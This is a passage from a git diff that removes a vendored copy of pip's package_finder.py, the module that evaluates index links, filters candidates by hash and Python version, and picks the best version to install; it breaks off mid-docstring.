deleted file mode 100644
index cf4a2eeb65d15c85348886455332503572a1ac3c..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/index/package_finder.py
+++ /dev/null
@@ -1,1152 +0,0 @@
-"""Routines related to PyPI, indexes"""
-
-from __future__ import annotations
-
-import datetime
-import enum
-import functools
-import itertools
-import logging
-import re
-from collections.abc import Iterable
-from dataclasses import dataclass
-from typing import (
-    TYPE_CHECKING,
-)
-
-from pip._vendor.packaging import specifiers
-from pip._vendor.packaging.tags import Tag
-from pip._vendor.packaging.utils import NormalizedName, canonicalize_name
-from pip._vendor.packaging.version import InvalidVersion, _BaseVersion
-from pip._vendor.packaging.version import parse as parse_version
-
-from pip._internal.exceptions import (
-    BestVersionAlreadyInstalled,
-    DistributionNotFound,
-    InstallationError,
-    InvalidWheelFilename,
-    UnsupportedWheel,
-)
-from pip._internal.index.collector import LinkCollector, parse_links
-from pip._internal.metadata import select_backend
-from pip._internal.models.candidate import InstallationCandidate
-from pip._internal.models.format_control import FormatControl
-from pip._internal.models.link import Link
-from pip._internal.models.release_control import ReleaseControl
-from pip._internal.models.search_scope import SearchScope
-from pip._internal.models.selection_prefs import SelectionPreferences
-from pip._internal.models.target_python import TargetPython
-from pip._internal.models.wheel import Wheel
-from pip._internal.req import InstallRequirement
-from pip._internal.utils._log import getLogger
-from pip._internal.utils.filetypes import WHEEL_EXTENSION
-from pip._internal.utils.hashes import Hashes
-from pip._internal.utils.logging import indent_log
-from pip._internal.utils.misc import build_netloc
-from pip._internal.utils.packaging import check_requires_python
-from pip._internal.utils.unpacking import SUPPORTED_EXTENSIONS
-
-if TYPE_CHECKING:
-    from typing import TypeGuard
-
-__all__ = ["FormatControl", "BestCandidateResult", "PackageFinder"]
-
-
-logger = getLogger(__name__)
-
-BuildTag = tuple[()] | tuple[int, str]
-CandidateSortingKey = tuple[int, int, int, _BaseVersion, int | None, BuildTag]
-
-
-def _check_link_requires_python(
-    link: Link,
-    version_info: tuple[int, int, int],
-    ignore_requires_python: bool = False,
-) -> bool:
-    """
-    Return whether the given Python version is compatible with a link's
-    "Requires-Python" value.
-
-    :param version_info: A 3-tuple of ints representing the Python
-        major-minor-micro version to check.
-    :param ignore_requires_python: Whether to ignore the "Requires-Python"
-        value if the given Python version isn't compatible.
-    """
-    try:
-        is_compatible = check_requires_python(
-            link.requires_python,
-            version_info=version_info,
-        )
-    except specifiers.InvalidSpecifier:
-        logger.debug(
-            "Ignoring invalid Requires-Python (%r) for link: %s",
-            link.requires_python,
-            link,
-        )
-    else:
-        if not is_compatible:
-            version = ".".join(map(str, version_info))
-            if not ignore_requires_python:
-                logger.verbose(
-                    "Link requires a different Python (%s not in: %r): %s",
-                    version,
-                    link.requires_python,
-                    link,
-                )
-                return False
-
-            logger.debug(
-                "Ignoring failed Requires-Python check (%s not in: %r) for link: %s",
-                version,
-                link.requires_python,
-                link,
-            )
-
-    return True
-
-
-class LinkType(enum.Enum):
-    candidate = enum.auto()
-    different_project = enum.auto()
-    yanked = enum.auto()
-    format_unsupported = enum.auto()
-    format_invalid = enum.auto()
-    platform_mismatch = enum.auto()
-    requires_python_mismatch = enum.auto()
-    upload_too_late = enum.auto()
-    upload_time_missing = enum.auto()
-
-
-class LinkEvaluator:
-    """
-    Responsible for evaluating links for a particular project.
-    """
-
-    _py_version_re = re.compile(r"-py([123]\.?[0-9]?)$")
-
-    # Don't include an allow_yanked default value to make sure each call
-    # site considers whether yanked releases are allowed. This also causes
-    # that decision to be made explicit in the calling code, which helps
-    # people when reading the code.
-    def __init__(
-        self,
-        project_name: str,
-        canonical_name: NormalizedName,
-        formats: frozenset[str],
-        target_python: TargetPython,
-        allow_yanked: bool,
-        ignore_requires_python: bool = False,
-        uploaded_prior_to: datetime.datetime | None = None,
-    ) -> None:
-        """
-        :param project_name: The user supplied package name.
-        :param canonical_name: The canonical package name.
-        :param formats: The formats allowed for this package. Should be a set
-            with 'binary' or 'source' or both in it.
-        :param target_python: The target Python interpreter to use when
-            evaluating link compatibility. This is used, for example, to
-            check wheel compatibility, as well as when checking the Python
-            version, e.g. the Python version embedded in a link filename
-            (or egg fragment) and against an HTML link's optional PEP 503
-            "data-requires-python" attribute.
-        :param allow_yanked: Whether files marked as yanked (in the sense
-            of PEP 592) are permitted to be candidates for install.
-        :param ignore_requires_python: Whether to ignore incompatible
-            PEP 503 "data-requires-python" values in HTML links. Defaults
-            to False.
-        :param uploaded_prior_to: If set, only allow links uploaded prior to
-            the given datetime.
-        """
-
-        self._allow_yanked = allow_yanked
-        self._canonical_name = canonical_name
-        self._ignore_requires_python = ignore_requires_python
-        self._formats = formats
-        self._target_python = target_python
-        self._uploaded_prior_to = uploaded_prior_to
-
-        self.project_name = project_name
-
-    def evaluate_link(self, link: Link) -> tuple[LinkType, str]:
-        """
-        Determine whether a link is a candidate for installation.
-
-        :return: A tuple (result, detail), where *result* is an enum
-            representing whether the evaluation found a candidate, or the reason
-            why one is not found. If a candidate is found, *detail* will be the
-            candidate's version string; if one is not found, it contains the
-            reason the link fails to qualify.
-        """
-        version = None
-        if link.is_yanked and not self._allow_yanked:
-            reason = link.yanked_reason or ""
-            return (LinkType.yanked, f"yanked for reason: {reason}")
-
-        if link.egg_fragment:
-            egg_info = link.egg_fragment
-            ext = link.ext
-        else:
-            egg_info, ext = link.splitext()
-            if not ext:
-                return (LinkType.format_unsupported, "not a file")
-            if ext not in SUPPORTED_EXTENSIONS:
-                return (
-                    LinkType.format_unsupported,
-                    f"unsupported archive format: {ext}",
-                )
-            if "binary" not in self._formats and ext == WHEEL_EXTENSION:
-                reason = f"No binaries permitted for {self.project_name}"
-                return (LinkType.format_unsupported, reason)
-            if "macosx10" in link.path and ext == ".zip":
-                return (LinkType.format_unsupported, "macosx10 one")
-            if ext == WHEEL_EXTENSION:
-                try:
-                    wheel = Wheel(link.filename)
-                except InvalidWheelFilename:
-                    return (
-                        LinkType.format_invalid,
-                        "invalid wheel filename",
-                    )
-                if wheel.name != self._canonical_name:
-                    reason = f"wrong project name (not {self.project_name})"
-                    return (LinkType.different_project, reason)
-
-                supported_tags = self._target_python.get_unsorted_tags()
-                if not wheel.supported(supported_tags):
-                    # Include the wheel's tags in the reason string to
-                    # simplify troubleshooting compatibility issues.
-                    file_tags = ", ".join(wheel.get_formatted_file_tags())
-                    reason = (
-                        f"none of the wheel's tags ({file_tags}) are compatible "
-                        f"(run pip debug --verbose to show compatible tags)"
-                    )
-                    return (LinkType.platform_mismatch, reason)
-
-                version = wheel.version
-
-        # Check upload-time filter after verifying the link is a package file.
-        # Skip this check for local files, as --uploaded-prior-to only applies
-        # to packages from indexes.
-        if self._uploaded_prior_to is not None and not link.is_file:
-            if link.upload_time is None:
-                if link.comes_from:
-                    index_info = f"Index {link.comes_from}"
-                else:
-                    index_info = "Index"
-
-                return (
-                    LinkType.upload_time_missing,
-                    f"{index_info} does not provide upload-time metadata.",
-                )
-            elif link.upload_time >= self._uploaded_prior_to:
-                return (
-                    LinkType.upload_too_late,
-                    f"Upload time {link.upload_time} not "
-                    f"prior to {self._uploaded_prior_to}",
-                )
-
-        # This should be up by the self.ok_binary check, but see issue 2700.
-        if "source" not in self._formats and ext != WHEEL_EXTENSION:
-            reason = f"No sources permitted for {self.project_name}"
-            return (LinkType.format_unsupported, reason)
-
-        if not version:
-            version = _extract_version_from_fragment(
-                egg_info,
-                self._canonical_name,
-            )
-        if not version:
-            reason = f"Missing project version for {self.project_name}"
-            return (LinkType.format_invalid, reason)
-
-        match = self._py_version_re.search(version)
-        if match:
-            version = version[: match.start()]
-            py_version = match.group(1)
-            if py_version != self._target_python.py_version:
-                return (
-                    LinkType.platform_mismatch,
-                    "Python version is incorrect",
-                )
-
-        supports_python = _check_link_requires_python(
-            link,
-            version_info=self._target_python.py_version_info,
-            ignore_requires_python=self._ignore_requires_python,
-        )
-        if not supports_python:
-            requires_python = link.requires_python
-            if requires_python:
-
-                def get_version_sort_key(v: str) -> tuple[int, ...]:
-                    return tuple(int(s) for s in v.split(".") if s.isdigit())
-
-                requires_python = ",".join(
-                    sorted(
-                        (str(s) for s in specifiers.SpecifierSet(requires_python)),
-                        key=get_version_sort_key,
-                    )
-                )
-            reason = f"{version} Requires-Python {requires_python}"
-            return (LinkType.requires_python_mismatch, reason)
-
-        logger.debug("Found link %s, version: %s", link, version)
-
-        return (LinkType.candidate, version)
-
-
-def filter_unallowed_hashes(
-    candidates: list[InstallationCandidate],
-    hashes: Hashes | None,
-    project_name: str,
-) -> list[InstallationCandidate]:
-    """
-    Filter out candidates whose hashes aren't allowed, and return a new
-    list of candidates.
-
-    If at least one candidate has an allowed hash, then all candidates with
-    either an allowed hash or no hash specified are returned.  Otherwise,
-    the given candidates are returned.
-
-    Including the candidates with no hash specified when there is a match
-    allows a warning to be logged if there is a more preferred candidate
-    with no hash specified.  Returning all candidates in the case of no
-    matches lets pip report the hash of the candidate that would otherwise
-    have been installed (e.g. permitting the user to more easily update
-    their requirements file with the desired hash).
-    """
-    if not hashes:
-        logger.debug(
-            "Given no hashes to check %s links for project %r: "
-            "discarding no candidates",
-            len(candidates),
-            project_name,
-        )
-        # Make sure we're not returning back the given value.
-        return list(candidates)
-
-    matches_or_no_digest = []
-    # Collect the non-matches for logging purposes.
-    non_matches = []
-    match_count = 0
-    for candidate in candidates:
-        link = candidate.link
-        if not link.has_hash:
-            pass
-        elif link.is_hash_allowed(hashes=hashes):
-            match_count += 1
-        else:
-            non_matches.append(candidate)
-            continue
-
-        matches_or_no_digest.append(candidate)
-
-    if match_count:
-        filtered = matches_or_no_digest
-    else:
-        # Make sure we're not returning back the given value.
-        filtered = list(candidates)
-
-    if len(filtered) == len(candidates):
-        discard_message = "discarding no candidates"
-    else:
-        discard_message = "discarding {} non-matches:\n  {}".format(
-            len(non_matches),
-            "\n  ".join(str(candidate.link) for candidate in non_matches),
-        )
-
-    logger.debug(
-        "Checked %s links for project %r against %s hashes "
-        "(%s matches, %s no digest): %s",
-        len(candidates),
-        project_name,
-        hashes.digest_count,
-        match_count,
-        len(matches_or_no_digest) - match_count,
-        discard_message,
-    )
-
-    return filtered
-
-
-@dataclass
-class CandidatePreferences:
-    """
-    Encapsulates some of the preferences for filtering and sorting
-    InstallationCandidate objects.
-    """
-
-    prefer_binary: bool = False
-    release_control: ReleaseControl | None = None
-
-
-@dataclass(frozen=True)
-class BestCandidateResult:
-    """A collection of candidates, returned by `PackageFinder.find_best_candidate`.
-
-    This class is only intended to be instantiated by CandidateEvaluator's
-    `compute_best_candidate()` method.
-
-    :param all_candidates: A sequence of all available candidates found.
-    :param applicable_candidates: The applicable candidates.
-    :param best_candidate: The most preferred candidate found, or None
-        if no applicable candidates were found.
-    """
-
-    all_candidates: list[InstallationCandidate]
-    applicable_candidates: list[InstallationCandidate]
-    best_candidate: InstallationCandidate | None
-
-    def __post_init__(self) -> None:
-        assert set(self.applicable_candidates) <= set(self.all_candidates)
-
-        if self.best_candidate is None:
-            assert not self.applicable_candidates
-        else:
-            assert self.best_candidate in self.applicable_candidates
-
-
-class CandidateEvaluator:
-    """
-    Responsible for filtering and sorting candidates for installation based
-    on what tags are valid.
-    """
-
-    @classmethod
-    def create(
-        cls,
-        project_name: str,
-        target_python: TargetPython | None = None,
-        prefer_binary: bool = False,
-        release_control: ReleaseControl | None = None,
-        specifier: specifiers.BaseSpecifier | None = None,
-        hashes: Hashes | None = None,
-    ) -> CandidateEvaluator:
-        """Create a CandidateEvaluator object.
-
-        :param target_python: The target Python interpreter to use when
-            checking compatibility. If None (the default), a TargetPython
-            object will be constructed from the running Python.
-        :param specifier: An optional object implementing `filter`
-            (e.g. `packaging.specifiers.SpecifierSet`) to filter applicable
-            versions.
-        :param hashes: An optional collection of allowed hashes.
-        """
-        if target_python is None:
-            target_python = TargetPython()
-        if specifier is None:
-            specifier = specifiers.SpecifierSet()
-
-        supported_tags = target_python.get_sorted_tags()
-
-        return cls(
-            project_name=project_name,
-            supported_tags=supported_tags,
-            specifier=specifier,
-            prefer_binary=prefer_binary,
-            release_control=release_control,
-            hashes=hashes,
-        )
-
-    def __init__(
-        self,
-        project_name: str,
-        supported_tags: list[Tag],
-        specifier: specifiers.BaseSpecifier,
-        prefer_binary: bool = False,
-        release_control: ReleaseControl | None = None,
-        hashes: Hashes | None = None,
-    ) -> None:
-        """
-        :param supported_tags: The PEP 425 tags supported by the target
-            Python in order of preference (most preferred first).
-        """
-        self._release_control = release_control
-        self._hashes = hashes
-        self._prefer_binary = prefer_binary
-        self._project_name = project_name
-        self._specifier = specifier
-        self._supported_tags = supported_tags
-        # Since the index of the tag in the _supported_tags list is used
-        # as a priority, precompute a map from tag to index/priority to be
-        # used in wheel.find_most_preferred_tag.
-        self._wheel_tag_preferences = {
-            tag: idx for idx, tag in enumerate(supported_tags)
-        }
-
-    def get_applicable_candidates(
-        self,
-        candidates: list[InstallationCandidate],
-    ) -> list[InstallationCandidate]:
-        """
-        Return the applicable candidates from a list of candidates.
-        """
-        # Using None infers from the specifier instead.
-        if self._release_control is not None:
-            allow_prereleases = self._release_control.allows_prereleases(
-                canonicalize_name(self._project_name)
-            )
-        else:
-            allow_prereleases = None
-        specifier = self._specifier
-        # When using the pkg_resources backend we turn the version object into
-        # a str here because otherwise when we're debundled but setuptools isn't,
-        # Python will see packaging.version.Version and
-        # pkg_resources._vendor.packaging.version.Version as different
-        # types. This way we'll use a str as a common data interchange
-        # format. If we stop using the pkg_resources provided specifier
-        # and start using our own, we can drop the cast to str().
-        applicable_candidates = specifier.filter(
-            candidates,
-            prereleases=allow_prereleases,
-            key=lambda c: (
-                str(c.version)
-                if select_backend().NAME == "pkg_resources"
-                else c.version
-            ),
-        )
-        filtered_applicable_candidates = filter_unallowed_hashes(
-            candidates=list(applicable_candidates),
-            hashes=self._hashes,
-            project_name=self._project_name,
-        )
-
-        return sorted(filtered_applicable_candidates, key=self._sort_key)
-
-    def _sort_key(self, candidate: InstallationCandidate) -> CandidateSortingKey:
-        """
-        Function to pass as the `key` argument to a call to sorted() to sort
-        InstallationCandidates by preference.
-
-        Returns a tuple such that tuples sorting as greater using Python's
-        default comparison operator are more preferred.
-
-        The preference is as follows:
-
-        First and foremost, candidates with allowed (matching) hashes are
-        always preferred over candidates without matching hashes. This is
-        because e.g. if the only candidate with an allowed hash is yanked,
-        we still want to use that candidate.
-
-        Second, excepting hash considerations, candidates that have been
-        yanked (in the sense of PEP 592) are always less preferred than
-        candidates that haven't been yanked. Then:
-
-        If not finding wheels, they are sorted by version only.
-        If finding wheels, then the sort order is by version, then:
-          1. existing installs
-          2. wheels ordered via Wheel.support_index_min(self._supported_tags)
-          3. source archives
-        If prefer_binary was set, then all wheels are sorted above sources.
-
-        Note: it was considered to embed this logic into the Link
-              comparison operators, but then different sdist links
-              with the same version, would have to be considered equal
-        """
-        valid_tags = self._supported_tags
-        support_num = len(valid_tags)
-        build_tag: BuildTag = ()
-        binary_preference = 0
-        link = candidate.link
-        if link.is_wheel:
-            # can raise InvalidWheelFilename
-            wheel = Wheel(link.filename)
-            try:
-                pri = -(
-                    wheel.find_most_preferred_tag(
-                        valid_tags, self._wheel_tag_preferences
-                    )
-                )
-            except ValueError:
-                raise UnsupportedWheel(
-                    f"{wheel.filename} is not a supported wheel for this platform. It "
-                    "can't be sorted."
-                )
-            if self._prefer_binary:
-                binary_preference = 1
-            build_tag = wheel.build_tag
-        else:  # sdist
-            pri = -(support_num)
-        has_allowed_hash = int(link.is_hash_allowed(self._hashes))
-        yank_value = -1 * int(link.is_yanked)  # -1 for yanked.
-        return (
-            has_allowed_hash,
-            yank_value,
-            binary_preference,
-            candidate.version,
-            pri,
-            build_tag,
-        )
-
-    def sort_best_candidate(
-        self,
-        candidates: list[InstallationCandidate],
-    ) -> InstallationCandidate | None:
-        """
-        Return the best candidate per the instance's sort order, or None if
-        no candidate is acceptable.
-        """
-        if not candidates:
-            return None
-        best_candidate = max(candidates, key=self._sort_key)
-        return best_candidate
-
-    def compute_best_candidate(
-        self,
-        candidates: list[InstallationCandidate],
-    ) -> BestCandidateResult:
-        """
-        Compute and return a `BestCandidateResult` instance.
-        """
-        applicable_candidates = self.get_applicable_candidates(candidates)
-
-        best_candidate = self.sort_best_candidate(applicable_candidates)
-
-        return BestCandidateResult(
-            candidates,
-            applicable_candidates=applicable_candidates,
-            best_candidate=best_candidate,
-        )
-
-
-class PackageFinder:
-    """This finds packages.
-
-    This is meant to match easy_install's technique for looking for
-    packages, by reading pages and looking for appropriate links.
-    """
-
-    def __init__(
-        self,
-        link_collector: LinkCollector,
-        target_python: TargetPython,
-        allow_yanked: bool,
-        format_control: FormatControl | None = None,
-        candidate_prefs: CandidatePreferences | None = None,
-        ignore_requires_python: bool = False,
-        uploaded_prior_to: datetime.datetime | None = None,
-    ) -> None:
-        """
-        This constructor is primarily meant to be used by the create() class
-        method and from tests.
-
-        :param format_control: A FormatControl object, used to control
-            the selection of source packages / binary packages when consulting
-            the index and links.
-        :param candidate_prefs: Options to use when creating a
-            CandidateEvaluator object.
-        """
-        if candidate_prefs is None:
-            candidate_prefs = CandidatePreferences()
-
-        format_control = format_control or FormatControl(set(), set())
-
-        self._allow_yanked = allow_yanked
-        self._candidate_prefs = candidate_prefs
-        self._ignore_requires_python = ignore_requires_python
-        self._link_collector = link_collector
-        self._target_python = target_python
-        self._uploaded_prior_to = uploaded_prior_to
-
-        self.format_control = format_control
-
-        # Collects the detail strings for links skipped due to Requires-Python
-        # incompatibility.  Used by requires_python_skipped_reasons() to build
-        # the error message when resolution fails.
-        self._requires_python_skipped: set[str] = set()
-
-        # Cache of the result of finding candidates
-        self._all_candidates: dict[str, list[InstallationCandidate]] = {}
-        self._best_candidates: dict[
-            tuple[str, specifiers.BaseSpecifier | None, Hashes | None],
-            BestCandidateResult,
-        ] = {}
-
-        # projects for which a link is locked from a pylock
-        self._locked_links: dict[NormalizedName, Link] = {}
-
-    # Don't include an allow_yanked default value to make sure each call
-    # site considers whether yanked releases are allowed. This also causes
-    # that decision to be made explicit in the calling code, which helps
-    # people when reading the code.
-    @classmethod
-    def create(
-        cls,
-        link_collector: LinkCollector,
-        selection_prefs: SelectionPreferences,
-        target_python: TargetPython | None = None,
-        uploaded_prior_to: datetime.datetime | None = None,
-    ) -> PackageFinder:
-        """Create a PackageFinder.
-
-        :param selection_prefs: The candidate selection preferences, as a
-            SelectionPreferences object.
-        :param target_python: The target Python interpreter to use when
-            checking compatibility. If None (the default), a TargetPython
-            object will be constructed from the running Python.
-        :param uploaded_prior_to: If set, only find links uploaded prior
-            to the given datetime.
-        """
-        if target_python is None:
-            target_python = TargetPython()
-
-        candidate_prefs = CandidatePreferences(
-            prefer_binary=selection_prefs.prefer_binary,
-            release_control=selection_prefs.release_control,
-        )
-
-        return cls(
-            candidate_prefs=candidate_prefs,
-            link_collector=link_collector,
-            target_python=target_python,
-            allow_yanked=selection_prefs.allow_yanked,
-            format_control=selection_prefs.format_control,
-            ignore_requires_python=selection_prefs.ignore_requires_python,
-            uploaded_prior_to=uploaded_prior_to,
-        )
-
-    @property
-    def target_python(self) -> TargetPython:
-        return self._target_python
-
-    @property
-    def search_scope(self) -> SearchScope:
-        return self._link_collector.search_scope
-
-    @search_scope.setter
-    def search_scope(self, search_scope: SearchScope) -> None:
-        self._link_collector.search_scope = search_scope
-
-    @property
-    def find_links(self) -> list[str]:
-        return self._link_collector.find_links
-
-    @property
-    def index_urls(self) -> list[str]:
-        return self.search_scope.index_urls
-
-    @property
-    def refresh_package(self) -> set[str]:
-        return self._link_collector.session.refresh_package
-
-    @property
-    def proxy(self) -> str | None:
-        return self._link_collector.session.pip_proxy
-
-    @property
-    def no_proxy_env(self) -> bool:
-        return self._link_collector.session.pip_no_proxy_env
-
-    @property
-    def trusted_hosts(self) -> Iterable[str]:
-        for host_port in self._link_collector.session.pip_trusted_origins:
-            yield build_netloc(*host_port)
-
-    @property
-    def custom_cert(self) -> str | None:
-        # session.verify is either a boolean (use default bundle/no SSL
-        # verification) or a string path to a custom CA bundle to use. We only
-        # care about the latter.
-        verify = self._link_collector.session.verify
-        return verify if isinstance(verify, str) else None
-
-    @property
-    def client_cert(self) -> str | None:
-        cert = self._link_collector.session.cert
-        assert not isinstance(cert, tuple), "pip only supports PEM client certs"
-        return cert
-
-    @property
-    def release_control(self) -> ReleaseControl | None:
-        return self._candidate_prefs.release_control
-
-    def set_release_control(self, release_control: ReleaseControl) -> None:
-        self._candidate_prefs.release_control = release_control
-
-    @property
-    def prefer_binary(self) -> bool:
-        return self._candidate_prefs.prefer_binary
-
-    def set_prefer_binary(self) -> None:
-        self._candidate_prefs.prefer_binary = True
-
-    @property
-    def uploaded_prior_to(self) -> datetime.datetime | None:
-        return self._uploaded_prior_to
-
-    def requires_python_skipped_reasons(self) -> list[str]:
-        return sorted(self._requires_python_skipped)
-
-    def make_link_evaluator(self, project_name: str) -> LinkEvaluator:
-        canonical_name = canonicalize_name(project_name)
-        formats = self.format_control.get_allowed_formats(canonical_name)
-
-        return LinkEvaluator(
-            project_name=project_name,
-            canonical_name=canonical_name,
-            formats=formats,
-            target_python=self._target_python,
-            allow_yanked=self._allow_yanked,
-            ignore_requires_python=self._ignore_requires_python,
-            uploaded_prior_to=self._uploaded_prior_to,
-        )
-
-    def _sort_links(self, links: Iterable[Link]) -> list[Link]:
-        """
-        Returns elements of links in order, non-egg links first, egg links
-        second, while eliminating duplicates
-        """
-        eggs, no_eggs = [], []
-        seen: set[Link] = set()
-        for link in links:
-            if link not in seen:
-                seen.add(link)
-                if link.egg_fragment:
-                    eggs.append(link)
-                else:
-                    no_eggs.append(link)
-        return no_eggs + eggs
-
-    def _log_skipped_link(self, link: Link, result: LinkType, detail: str) -> None:
-        # Put the link at the end so the reason is more visible and because
-        # the link string is usually very long.
-        logger.debug("Skipping link: %s: %s", detail, link)
-        if result == LinkType.requires_python_mismatch:
-            self._requires_python_skipped.add(detail)
-
-    def get_install_candidate(
-        self, link_evaluator: LinkEvaluator, link: Link
-    ) -> InstallationCandidate | None:
-        """
-        If the link is a candidate for install, convert it to an
-        InstallationCandidate and return it. Otherwise, return None.
-        """
-        result, detail = link_evaluator.evaluate_link(link)
-        if result == LinkType.upload_time_missing:
-            # Fail immediately if the index doesn't provide upload-time
-            # when --uploaded-prior-to is specified
-            raise InstallationError(detail)
-        if result != LinkType.candidate:
-            self._log_skipped_link(link, result, detail)
-            return None
-
-        try:
-            return InstallationCandidate(
-                name=link_evaluator.project_name,
-                link=link,
-                version=detail,
-            )
-        except InvalidVersion:
-            return None
-
-    def evaluate_links(
-        self, link_evaluator: LinkEvaluator, links: Iterable[Link]
-    ) -> list[InstallationCandidate]:
-        """
-        Convert links that are candidates to InstallationCandidate objects.
-        """
-        candidates = []
-        for link in self._sort_links(links):
-            candidate = self.get_install_candidate(link_evaluator, link)
-            if candidate is not None:
-                candidates.append(candidate)
-
-        return candidates
-
-    def process_project_url(
-        self, project_url: Link, link_evaluator: LinkEvaluator
-    ) -> list[InstallationCandidate]:
-        logger.debug(
-            "Fetching project page and analyzing links: %s",
-            project_url,
-        )
-        index_response = self._link_collector.fetch_response(
-            project_url, package_name=link_evaluator.project_name
-        )
-        if index_response is None:
-            return []
-
-        page_links = list(parse_links(index_response))
-
-        with indent_log():
-            package_links = self.evaluate_links(
-                link_evaluator,
-                links=page_links,
-            )
-
-        return package_links
-
-    def find_all_candidates(self, project_name: str) -> list[InstallationCandidate]:
-        """Find all available InstallationCandidate for project_name
-
-        This checks index_urls and find_links, unless a locked link is known
-        for that project.
-        All versions found are returned as an InstallationCandidate list.
-
-        See LinkEvaluator.evaluate_link() for details on which files
-        are accepted.
-        """
-        if project_name in self._all_candidates:
-            return self._all_candidates[project_name]
-
-        link_evaluator = self.make_link_evaluator(project_name)
-
-        if locked_link := self._locked_links.get(canonicalize_name(project_name)):
-            # If a locked link is known for that project, do not check
-            # index_urls nor find_links. We don't use get_install_candidate here,
-            # because if a locked link is unsupported (due to format control,
-            # release control or otherwise), we want to error out immediately
-            # instead of ignoring it.
-            result, detail = link_evaluator.evaluate_link(locked_link)
-            if result != LinkType.candidate:
-                raise InstallationError(
-                    f"Could not install locked package {project_name!r} "
-                    f"from {locked_link.comes_from!r}: {detail}"
-                )
-            self._all_candidates[project_name] = [
-                InstallationCandidate(project_name, detail, locked_link, locked=True)
-            ]
-            return self._all_candidates[project_name]
-
-        collected_sources = self._link_collector.collect_sources(
-            project_name=project_name,
-            candidates_from_page=functools.partial(
-                self.process_project_url,
-                link_evaluator=link_evaluator,
-            ),
-        )
-
-        page_candidates_it = itertools.chain.from_iterable(
-            source.page_candidates()
-            for sources in collected_sources
-            for source in sources
-            if source is not None
-        )
-        page_candidates = list(page_candidates_it)
-
-        file_links_it = itertools.chain.from_iterable(
-            source.file_links()
-            for sources in collected_sources
-            for source in sources
-            if source is not None
-        )
-        file_candidates = self.evaluate_links(
-            link_evaluator,
-            sorted(file_links_it, reverse=True),
-        )
-
-        if logger.isEnabledFor(logging.DEBUG) and file_candidates:
-            paths = []
-            for candidate in file_candidates:
-                assert candidate.link.url  # we need to have a URL
-                try:
-                    paths.append(candidate.link.file_path)
-                except Exception:
-                    paths.append(candidate.link.url)  # it's not a local file
-
-            logger.debug("Local files found: %s", ", ".join(paths))
-
-        # This is an intentional priority ordering
-        self._all_candidates[project_name] = file_candidates + page_candidates
-
-        return self._all_candidates[project_name]
-
-    def make_candidate_evaluator(
-        self,
-        project_name: str,
-        specifier: specifiers.BaseSpecifier | None = None,
-        hashes: Hashes | None = None,
-    ) -> CandidateEvaluator:
-        """Create a CandidateEvaluator object to use."""
-        candidate_prefs = self._candidate_prefs
-        return CandidateEvaluator.create(
-            project_name=project_name,
-            target_python=self._target_python,
-            prefer_binary=candidate_prefs.prefer_binary,
-            release_control=candidate_prefs.release_control,
-            specifier=specifier,
-            hashes=hashes,
-        )
-
-    def find_best_candidate(
-        self,
-        project_name: str,
-        specifier: specifiers.BaseSpecifier | None = None,
-        hashes: Hashes | None = None,
-    ) -> BestCandidateResult:
-        """Find matches for the given project and specifier.
-
-        :param specifier: An optional object implementing `filter`
-            (e.g. `packaging.specifiers.SpecifierSet`) to filter applicable
-            versions.
-
-        :return: A `BestCandidateResult` instance.
-        """
-        if (project_name, specifier, hashes) in self._best_candidates:
-            return self._best_candidates[project_name, specifier, hashes]
-
-        candidates = self.find_all_candidates(project_name)
-        candidate_evaluator = self.make_candidate_evaluator(
-            project_name=project_name,
-            specifier=specifier,
-            hashes=hashes,
-        )
-        self._best_candidates[project_name, specifier, hashes] = (
-            candidate_evaluator.compute_best_candidate(candidates)
-        )
-
-        return self._best_candidates[project_name, specifier, hashes]
-
-    def find_requirement(
-        self, req: InstallRequirement, upgrade: bool
-    ) -> InstallationCandidate | None:
-        """Try to find a Link matching req
-
-        Expects req, an InstallRequirement and upgrade, a boolean
-        Returns a InstallationCandidate if found,
-        Raises DistributionNotFound or BestVersionAlreadyInstalled otherwise
-        """
-        name = req.name
-        assert name is not None, "find_requirement() called with no name"
-
-        hashes = req.hashes(trust_internet=False)
-        best_candidate_result = self.find_best_candidate(
-            name,
-            specifier=req.specifier,
-            hashes=hashes,
-        )
-        best_candidate = best_candidate_result.best_candidate
-
-        installed_version: _BaseVersion | None = None
-        if req.satisfied_by is not None:
-            installed_version = req.satisfied_by.version
-
-        def _format_versions(cand_iter: Iterable[InstallationCandidate]) -> str:
-            # This repeated parse_version and str() conversion is needed to
-            # handle different vendoring sources from pip and pkg_resources.
-            # If we stop using the pkg_resources provided specifier and start
-            # using our own, we can drop the cast to str().
-            return (
-                ", ".join(
-                    sorted(
-                        {str(c.version) for c in cand_iter},
-                        key=parse_version,
-                    )
-                )
-                or "none"
-            )
-
-        if installed_version is None and best_candidate is None:
-            # Check if only final releases are allowed for this package
-            version_type = "version"
-            if self.release_control is not None:
-                allows_pre = self.release_control.allows_prereleases(
-                    canonicalize_name(name)
-                )
-                if allows_pre is False:
-                    version_type = "final version"
-
-            logger.critical(
-                "Could not find a %s that satisfies the requirement %s "
-                "(from versions: %s)",
-                version_type,
-                req,
-                _format_versions(best_candidate_result.all_candidates),
-            )
-
-            raise DistributionNotFound(f"No matching distribution found for {req}")
-
-        def _should_install_candidate(
-            candidate: InstallationCandidate | None,
-        ) -> TypeGuard[InstallationCandidate]:
-            if installed_version is None:
-                return True
-            if best_candidate is None:
-                return False
-            return best_candidate.version > installed_version
-
-        if not upgrade and installed_version is not None:
-            if _should_install_candidate(best_candidate):
-                logger.debug(
-                    "Existing installed version (%s) satisfies requirement "
-                    "(most up-to-date version is %s)",
-                    installed_version,
-                    best_candidate.version,
-                )
-            else:
-                logger.debug(
-                    "Existing installed version (%s) is most up-to-date and "
-                    "satisfies requirement",
-                    installed_version,
-                )
-            return None
-
-        if _should_install_candidate(best_candidate):
-            logger.debug(
-                "Using version %s (newest of versions: %s)",
-                best_candidate.version,
-                _format_versions(best_candidate_result.applicable_candidates),
-            )
-            return best_candidate
-
-        # We have an existing version, and its the best version
-        logger.debug(
-            "Installed version (%s) is most up-to-date (past versions: %s)",
-            installed_version,
-            _format_versions(best_candidate_result.applicable_candidates),
-        )
-        raise BestVersionAlreadyInstalled
-
-    def add_locked_link(self, project_name: NormalizedName, locked_link: Link) -> None:
-        assert not self._all_candidates
-        if project_name in self._locked_links:
-            raise InstallationError(
-                f"Multiple locked links provided for {project_name}: "
-                f"{self._locked_links[project_name]} and {locked_link}"
-            )
-
-        self._locked_links[project_name] = locked_link
-
-
-def _find_name_version_sep(fragment: str, canonical_name: str) -> int:
-    """Find the separator's index based on the package's canonical name.
-
-    :param fragment: A + filename "fragment" (stem) or
-        egg fragment.
